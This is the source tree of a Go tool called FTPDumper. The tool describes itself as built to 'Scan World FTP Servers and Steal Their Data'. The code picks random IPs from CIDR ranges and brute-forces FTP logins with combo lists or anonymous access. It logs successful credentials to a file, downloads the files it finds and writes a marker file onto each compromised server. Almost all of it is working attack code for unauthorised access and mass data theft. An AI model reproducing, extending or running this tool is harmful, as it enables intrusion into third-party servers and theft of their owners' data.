├── .github └── workflows │ └── release.yml ├── .gitignore ├── CIDRManager ├── BinaryFilter.go └── Manager.go ├── Core ├── core.go ├── reader.go └── workerpool.go ├── Dumper └── dumper.go ├── LICENSE ├── README.md ├── Utility ├── Counter.go ├── io.go └── utility.go ├── ftp └── ftp.go ├── go.mod ├── go.sum └── main.go /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | name: Build and Release 2 | 3 | on: 4 | push: 5 | branches: 6 | - master 7 | 8 | jobs: 9 | release: 10 | name: Create Release 11 | runs-on: ubuntu-latest 12 | 13 | steps: 14 | - name: Checkout repository 15 | uses: actions/checkout@v4 16 | 17 | - uses: actions/setup-go@v5 18 | with: 19 | go-version: '1.22.2' 20 | check-latest: true 21 | 22 | - name: Build 23 | run: go build -o FTPDumper . 24 | 25 | - name: Compress binary file 26 | uses: crazy-max/ghaction-upx@v3 27 | with: 28 | files: FTPDumper 29 | args: --ultra-brute --best -q 30 | 31 | - name: Auto Increment Semver Action 32 | uses: MCKanpolat/auto-semver-action@v1 33 | id: versioning 34 | with: 35 | releaseType: patch 36 | incrementPerCommit: true 37 | github_token: ${{ secrets.GITHUB_TOKEN }} 38 | 39 | - name: Next Release Number 40 | run: echo ${{ steps.versioning.outputs.version }} 41 | 42 | - name: Upload binary file 43 | uses: softprops/action-gh-release@v2 44 | 45 | env: 46 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 47 | GITHUB_REPOSITORY: MatrixTM/FTPDumper 48 | 49 | with: 50 | files: FTPDumper 51 | tag_name: release-${{ steps.versioning.outputs.version }} 52 | name: Release ${{ steps.versioning.outputs.version }} 53 | repository: MatrixTM/FTPDumper 54 | body: | 55 | ## Release ${{ steps.versioning.outputs.version }} 💭 56 | 57 | ${{ github.event.head_commit.message }} 58 | 59 | [Download 📥](https://github.com/MatrixTM/FTPDumper/releases/download/release-${{ steps.versioning.outputs.version }}/FTPDumper) 60 | 61 | 62 | permissions: 63 | contents: write 64 | packages: write -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | FTPDumper 2 | .idea 3 | *.txt 4 | *.exe -------------------------------------------------------------------------------- /CIDRManager/BinaryFilter.go: -------------------------------------------------------------------------------- 1 | package CIDRManager 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "net" 7 | "sync" 8 | ) 9 | 10 | type BSet struct { 11 | set map[[4]byte]struct{} 12 | mutex sync.RWMutex 13 | } 14 | 15 | func NewBSet() *BSet { 16 | return &BSet{ 17 | set: make(map[[4]byte]struct{}), 18 | mutex: sync.RWMutex{}, 19 | } 20 | } 21 | 22 | func (h *BSet) Add(item string) { 23 | h.mutex.Lock() 24 | defer h.mutex.Unlock() 25 | 26 | compressed := compressIPv4(item) 27 | 28 | h.set[[4]byte(compressed)] = struct{}{} 29 | } 30 | 31 | func (h *BSet) Contains(item string) bool { 32 | h.mutex.RLock() 33 | defer h.mutex.RUnlock() 34 | 35 | compressed := compressIPv4(item) 36 | 37 | _, exists := h.set[[4]byte(compressed)] 38 | return exists 39 | } 40 | 41 | func (h *BSet) Count() int { 42 | h.mutex.RLock() 43 | defer h.mutex.RUnlock() 44 | 45 | return len(h.set) 46 | } 47 | 48 | func compressIPv4(ip string) []byte { 49 | var compressed bytes.Buffer 50 | 51 | binary.Write(&compressed, binary.BigEndian, net.ParseIP(ip).To4()) 52 | 53 | return compressed.Bytes() 54 | } 55 | -------------------------------------------------------------------------------- /CIDRManager/Manager.go: -------------------------------------------------------------------------------- 1 | package CIDRManager 2 | 3 | import ( 4 | "encoding/binary" 5 | "errors" 6 | "math/rand" 7 | "net" 8 | "sync" 9 | ) 10 | 11 | var ( 12 | EOCIDR = errors.New("EOCIDR (End of CIDR)") 13 | ) 14 | 15 | type CIDRManager struct { 16 | CIDR string 17 | Ipv4Min uint32 18 | Ipv4Max uint32 19 | Size int 20 | Filter *BSet 21 | Mutex sync.Mutex 22 | } 23 | 24 | func NewCIDR(CIDR string) *CIDRManager { 25 | _, ipNet, _ := net.ParseCIDR(CIDR) 26 | Size := CountIPsInCIDR(ipNet) 27 | 28 | IPv4Min := binary.BigEndian.Uint32(ipNet.IP.To4()) 29 | IPv4Max := IPv4Min | ^binary.BigEndian.Uint32(net.IP(ipNet.Mask).To4()) 30 | 31 | return &CIDRManager{ 32 | CIDR: CIDR, 33 | Ipv4Min: IPv4Min, 34 | Ipv4Max: IPv4Max, 35 | Size: Size, 36 | Filter: NewBSet(), 37 | Mutex: sync.Mutex{}, 38 | } 39 | } 40 | 41 | func (c *CIDRManager) IsUsed(ip uint32) bool { 42 | c.Mutex.Lock() 43 | defer c.Mutex.Unlock() 44 | 45 | return c.Filter.Contains(c.Uint32ToIP(ip)) 46 | } 47 | 48 | func (c *CIDRManager) SetUsed(ip uint32) { 49 | c.Mutex.Lock() 50 | defer c.Mutex.Unlock() 51 | 52 | c.Filter.Add(c.Uint32ToIP(ip)) 53 | } 54 | 55 | func (c *CIDRManager) GetRandomIP() (string, error) { 56 | if c.Filter.Count() == c.Size { 57 | return "", EOCIDR 58 | } 59 | 60 | for { 61 | // Generate a random number within the range of the CIDR size 62 | randomIndex := rand.Intn(c.Size) 63 | ip := c.Ipv4Min + uint32(randomIndex) 64 | 65 | ipParsed := c.Uint32ToIP(ip) 66 | if !c.IsUsed(ip) { 67 | c.SetUsed(ip) 68 | return ipParsed, nil 69 | } 70 | } 71 | } 72 | 73 | func (c *CIDRManager) Uint32ToIP(ip uint32) string { 74 | return net.IPv4(byte(ip>>24), byte(ip>>16), byte(ip>>8), byte(ip)).String() 75 | } 76 | 77 | func (c *CIDRManager) IPToUInt32(ip string) uint32 { 78 | ipAddr := net.ParseIP(ip) 79 | if ipAddr == nil { 80 | return 0 81 | } 82 | return binary.BigEndian.Uint32(ipAddr.To4()) 83 | } 84 | 85 | func CountIPsInCIDR(ipNet *net.IPNet) int { 86 | maskSize, _ := ipNet.Mask.Size() 87 | if maskSize == 0 { 88 | return 1 << 32 // 2^32 = 4,294,967,296 89 | } 90 | 91 | return 1 << (32 - maskSize) 92 | } 93 | -------------------------------------------------------------------------------- /Core/core.go: -------------------------------------------------------------------------------- 1 | package Core 2 | 3 | import ( 4 | "FTPDumper/Utility" 5 | "errors" 6 | "fmt" 7 | "github.com/integrii/flaggy" 8 | "os" 9 | "strings" 10 | "time" 11 | "unicode" 12 | ) 13 | 14 | var ( 15 | Scanner = "stdin" 16 | Users []string 17 | Passwords []string 18 | Ports []string 19 | FileFormats []string 20 | Limit = 10 21 | SaveCredentials = false 22 | Verbose = false 23 | Timeout = time.Second * 5 24 | CredFile *Utility.MutexWriter 25 | OutputFolder = "files" 26 | Type EscannerType 27 | Counter = Utility.NewCounter() 28 | ) 29 | 30 | var ( 31 | TimeoutErr = errors.New("timeout Error") 32 | BadCredErr = errors.New("bad Credentials") 33 | ) 34 | 35 | func init() { 36 | Counter.Born("Total") 37 | Counter.Born("BadCred") 38 | Counter.Born("Success") 39 | Counter.Born("Stolen") 40 | 41 | flaggy.SetName("FTPDumper") 42 | flaggy.SetDescription("Scan World FTP Servers and Steal Their Data") 43 | flaggy.SetVersion("0.0.1") 44 | 45 | flaggy.String(&Scanner, "scan", "scanner", "Ip/CIDR scanner (stdin|filename|cidr|ip)") 46 | 47 | comboFile := "" 48 | flaggy.String(&comboFile, "c", "combo", "Combo File (user:password)") 49 | 50 | ports := "" 51 | flaggy.String(&ports, "p", "ports", "Ports Split by , (Default Port: 21)") 52 | 53 | flaggy.String(&OutputFolder, "o", "output", "Output Folder") 54 | 55 | fileFormats := "" 56 | flaggy.String(&fileFormats, "f", "formats", "File Formats Split by , (Default Format: all)") 57 | 58 | flaggy.Int(&Limit, "l", "limit", "Task limit") 59 | 60 | flaggy.Duration(&Timeout, "t", "timeout", "Timeout in seconds") 61 | 62 | flaggy.Bool(&SaveCredentials, "s", "save", "Save Credentials in hit.txt") 63 | flaggy.Bool(&Verbose, "v", "verbose", "Verbose Mode") 64 | 65 | flaggy.Parse() 66 | 67 | switch Scanner { 68 | case "stdin": 69 | if !Utility.IsInPipeline() { 70 | fmt.Println("Please pipe input to the program, or use -s file/cidr") 71 | os.Exit(1) 72 | } 73 | Type = ESTDIN 74 | 75 | default: 76 | if Utility.IsCIDRv4(Scanner) { 77 | Type = ECIDR 78 | } else if Utility.IsIPv4(Scanner) { 79 | Type = EIP 80 | } else if Utility.FileExists(Scanner) { 81 | Type = EFILE 82 | } else { 83 | fmt.Println("Invalid Input, possible inputs: stdin, filename, cidr, ip") 84 | os.Exit(1) 85 | } 86 | } 87 | 88 | if Utility.FileExists(comboFile) { 89 | combos, err := Utility.ReadFileLines(comboFile) 90 | if err != nil { 91 | fmt.Println(err) 92 | os.Exit(1) 93 | } 94 | 95 | if len(combos) < 1 { 96 | fmt.Println("Combo file is empty") 97 | os.Exit(1) 98 | } 99 | 100 | for _, combo := range combos { 101 | userPass := strings.Split(combo, ":") 102 | if len(userPass) == 2 { 103 | Users = append(Users, userPass[0]) 104 | Passwords = append(Passwords, userPass[1]) 105 | } 106 | } 107 | } else { 108 | Users = []string{"anonymous"} 109 | Passwords = []string{"anonymous"} 110 | } 111 | 112 | if len(Users) < 1 || len(Passwords) < 1 { 113 | fmt.Println("Combo file Does not contain any credential with user:password format") 114 | os.Exit(1) 115 | } 116 | 117 | if ports != "" { 118 | portsSplited := strings.Split(ports, ",") 119 | for _, port := range portsSplited { 120 | for _, r := range port { 121 | if !unicode.IsDigit(r) { 122 | fmt.Printf("Invalid Port on -p Argument, Port: \"%s\"", port) 123 | os.Exit(1) 124 | } 125 | } 126 | Ports = append(Ports, port) 127 | } 128 | } else { 129 | Ports = []string{"21"} 130 | } 131 | 132 | if fileFormats != "" { 133 | fileFormatsSplited := strings.Split(fileFormats, ",") 134 | FileFormats = fileFormatsSplited 135 | } 136 | 137 | if !Utility.FolderExists(OutputFolder) { 138 | err := Utility.CreateFolder(OutputFolder) 139 | if err != nil { 140 | fmt.Printf("Failed to create output folder: %s\n", err) 141 | os.Exit(1) 142 | } 143 | } 144 | 145 | if SaveCredentials { 146 | if !Utility.FileExists("hit.txt") { 147 | err := Utility.CreateFile("hit.txt") 148 | if err != nil { 149 | fmt.Printf("Failed to create hit.txt: %s\n", err) 150 | os.Exit(1) 151 | } 152 | } 153 | 154 | file, err := os.OpenFile("hit.txt", os.O_APPEND|os.O_WRONLY, 0600) 155 | if err != nil { 156 | fmt.Printf("Failed to open hit.txt: %s\n", err) 157 | os.Exit(1) 158 | } 159 | 160 | CredFile = Utility.NewMutexWriter(file) 161 | } 162 | } 163 | -------------------------------------------------------------------------------- /Core/reader.go: -------------------------------------------------------------------------------- 1 | package Core 2 | 3 | import ( 4 | "FTPDumper/CIDRManager" 5 | "FTPDumper/Utility" 6 | "bufio" 7 | "errors" 8 | "io" 9 | "math/rand" 10 | "os" 11 | "regexp" 12 | "strings" 13 | "sync" 14 | ) 15 | 16 | type EscannerType string 17 | 18 | var ( 19 | ESTDIN EscannerType = "stdin" 20 | EFILE EscannerType = "file" 21 | ECIDR EscannerType = "cidr" 22 | EIP EscannerType = "ip" 23 | ) 24 | 25 | type IReader interface { 26 | Next() (string, error) 27 | Close() 28 | } 29 | 30 | type StdinReader struct { 31 | scanner *bufio.Scanner 32 | } 33 | 34 | type CIDRReader struct { 35 | sync.Mutex 36 | Cidrs []*CIDRManager.CIDRManager 37 | CidrsLen int 38 | } 39 | 40 | func NewReader(scanner string, method EscannerType) IReader { 41 | switch method { 42 | case ESTDIN: 43 | return &StdinReader{scanner: bufio.NewScanner(os.Stdin)} 44 | case EFILE: 45 | file, _ := os.Open(scanner) 46 | return NewFileReader(bufio.NewReader(file)) 47 | case ECIDR: 48 | reader := &CIDRReader{ 49 | Cidrs: make([]*CIDRManager.CIDRManager, 0), 50 | } 51 | cidrRegex := regexp.MustCompile(`\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}/\d{1,2}\b`) 52 | cidrs := cidrRegex.FindAllString(scanner, -1) 53 | for _, cidr := range cidrs { 54 | reader.Cidrs = append(reader.Cidrs, CIDRManager.NewCIDR(cidr)) 55 | } 56 | reader.CidrsLen = len(reader.Cidrs) 57 | return reader 58 | case EIP: 59 | return &StdinReader{scanner: bufio.NewScanner(strings.NewReader(scanner + "\n"))} 60 | } 61 | 62 | return nil 63 | } 64 | 65 | func NewFileReader(reader *bufio.Reader) *CIDRReader { 66 | cidrs := make([]*CIDRManager.CIDRManager, 0) 67 | for { 68 | line, err := reader.ReadString('\n') 69 | if err != nil { 70 | if err == io.EOF { 71 | break 72 | } 73 | return nil 74 | } 75 | 76 | line = strings.TrimSpace(line) 77 | 78 | if !Utility.IsCIDRv4(line) { 79 | continue 80 | } 81 | 82 | cidrs = append(cidrs, CIDRManager.NewCIDR(line)) 83 | } 84 | 85 | return &CIDRReader{Cidrs: cidrs, CidrsLen: len(cidrs)} 86 | } 87 | 88 | func (r *StdinReader) Next() (string, error) { 89 | if r.scanner.Scan() { 90 | return r.scanner.Text(), nil 91 | } 92 | if err := r.scanner.Err(); err != nil { 93 | return "", err 94 | } 95 | return "", io.EOF 96 | } 97 | 98 | func (r *StdinReader) Close() { 99 | r.scanner = nil 100 | } 101 | 102 | func (c *CIDRReader) Next() (string, error) { 103 | c.Lock() 104 | defer c.Unlock() 105 | numb := rand.Intn(c.CidrsLen) 106 | cidr := c.Cidrs[numb] 107 | ip, err := cidr.GetRandomIP() 108 | if errors.Is(err, CIDRManager.EOCIDR) { 109 | c.Cidrs = append(c.Cidrs[:numb], c.Cidrs[numb+1:]...) 110 | c.CidrsLen-- 111 | return c.Next() 112 | } 113 | return ip, err 114 | } 115 | 116 | func (c *CIDRReader) Close() { 117 | c.Cidrs = nil 118 | c.CidrsLen = 0 119 | } 120 | -------------------------------------------------------------------------------- /Core/workerpool.go: -------------------------------------------------------------------------------- 1 | package Core 2 | 3 | import ( 4 | "context" 5 | "sync" 6 | "time" 7 | ) 8 | 9 | // Task represents a unit of work to be executed by the worker pool. 10 | type Task func() 11 | 12 | // WorkerPool is a struct that manages a pool of worker goroutines. 13 | type WorkerPool struct { 14 | maxWorkers int 15 | taskQueue chan Task 16 | wg sync.WaitGroup 17 | } 18 | 19 | // New creates a new WorkerPool with the specified maximum number of workers. 20 | func New(maxWorkers int) *WorkerPool { 21 | return &WorkerPool{ 22 | maxWorkers: maxWorkers, 23 | taskQueue: make(chan Task), 24 | } 25 | } 26 | 27 | // Start initializes the worker pool and starts the worker goroutines. 28 | func (wp *WorkerPool) Start() { 29 | for i := 0; i < wp.maxWorkers; i++ { 30 | wp.wg.Add(1) 31 | go func() { 32 | defer wp.wg.Done() 33 | for task := range wp.taskQueue { 34 | task() 35 | } 36 | }() 37 | } 38 | } 39 | 40 | // Stop gracefully shuts down the worker pool. 41 | func (wp *WorkerPool) Stop() { 42 | close(wp.taskQueue) 43 | wp.wg.Wait() 44 | } 45 | 46 | // Submit adds a new task to the worker pool's task queue. 47 | func (wp *WorkerPool) Submit(task Task) { 48 | wp.taskQueue <- task 49 | } 50 | 51 | // IsFull returns true if the worker pool's task queue is full. 52 | func (wp *WorkerPool) IsFull() bool { 53 | return len(wp.taskQueue) >= cap(wp.taskQueue) 54 | } 55 | 56 | // SubmitWithTimeout adds a new task to the worker pool's task queue with a timeout. 57 | // If the task is not completed within the specified timeout duration, it is canceled. 58 | func (wp *WorkerPool) SubmitWithTimeout(task Task, timeout time.Duration) error { 59 | ctx, cancel := context.WithTimeout(context.Background(), timeout) 60 | defer cancel() 61 | 62 | done := make(chan struct{}) 63 | 64 | wp.taskQueue <- func() { 65 | defer close(done) 66 | task() 67 | } 68 | 69 | select { 70 | case <-done: 71 | return nil 72 | case <-ctx.Done(): 73 | return ctx.Err() 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /Dumper/dumper.go: -------------------------------------------------------------------------------- 1 | package Dumper 2 | 3 | import ( 4 | "FTPDumper/Core" 5 | "FTPDumper/Utility" 6 | "FTPDumper/ftp" 7 | "bytes" 8 | "crypto/sha256" 9 | "encoding/hex" 10 | "fmt" 11 | "os" 12 | ) 13 | 14 | func Try(address, port, user, password string) error { 15 | Core.Counter.Increment("Total") 16 | client := ftp.NewFTPClient(user, password) 17 | err := client.Connect(fmt.Sprintf("%s:%s", address, port)) 18 | if err != nil { 19 | return Core.TimeoutErr 20 | } 21 | 22 | defer client.Disconnect() 23 | 24 | err = client.Login() 25 | if err != nil { 26 | return Core.BadCredErr 27 | } 28 | 29 | Core.Counter.Increment("Success") 30 | if Core.Verbose { 31 | fmt.Printf("\033[32m[SUCCESS] %s:%s@%s:%s\u001B[97m\n", address, port, user, password) 32 | } 33 | 34 | if Core.SaveCredentials { 35 | _, _ = Core.CredFile.Write([]byte(fmt.Sprintf("%s:%s@%s:%s\n", address, port, user, password))) 36 | } 37 | 38 | files, err := client.GetFiles() 39 | if err != nil { 40 | if Core.Verbose { 41 | fmt.Printf("\033[31m[FAIL] %s:%s@%s:%s\u001B[97m\n", address, port, user, password) 42 | } 43 | return err 44 | } 45 | 46 | sprintf := fmt.Sprintf("%s/%s", Core.OutputFolder, address) 47 | 48 | for _, file := range files { 49 | if len(Core.FileFormats) > 0 && !Utility.SuffixAny(file.Name, Core.FileFormats) { 50 | continue 51 | } 52 | 53 | Core.Counter.Increment("Stolen") 54 | 55 | hash := sha256.Sum256([]byte(file.Name)) 56 | hexed := hex.EncodeToString(hash[:]) 57 | tempPath := fmt.Sprintf("%s/%s.ftpdumper", os.TempDir(), hexed) 58 | 59 | err = client.DownloadFile(tempPath, file.Name) 60 | if err != nil { 61 | if Core.Verbose { 62 | fmt.Printf("\033[31m[FAIL] %s:%s@%s:%s\u001B[97m\n", address, port, user, password) 63 | } 64 | continue 65 | } 66 | 67 | if stat, err := os.Stat(tempPath); err != nil || stat.Size() < 1 { 68 | _ = os.Remove(tempPath) 69 | continue 70 | } 71 | 72 | if !Utility.FolderExists(sprintf) { 73 | err = Utility.CreateFolder(sprintf) 74 | if err != nil { 75 | continue 76 | } 77 | } 78 | 79 | err := os.Rename(tempPath, fmt.Sprintf("%s/%s/%s", Core.OutputFolder, address, file.Name)) 80 | if err != nil { 81 | return err 82 | } 83 | } 84 | 85 | _ = client.UploadFile("FTPDUMPER.txt", bytes.NewReader([]byte("Fix your server credentials\n"+ 86 | "You Can Download FTPDumper From https://github.com/MatrixTM/FTPDumper\n"))) 87 | 88 | return nil 89 | } 90 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Matrix Team 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
Download FTPDumper from Releases
52 | 53 |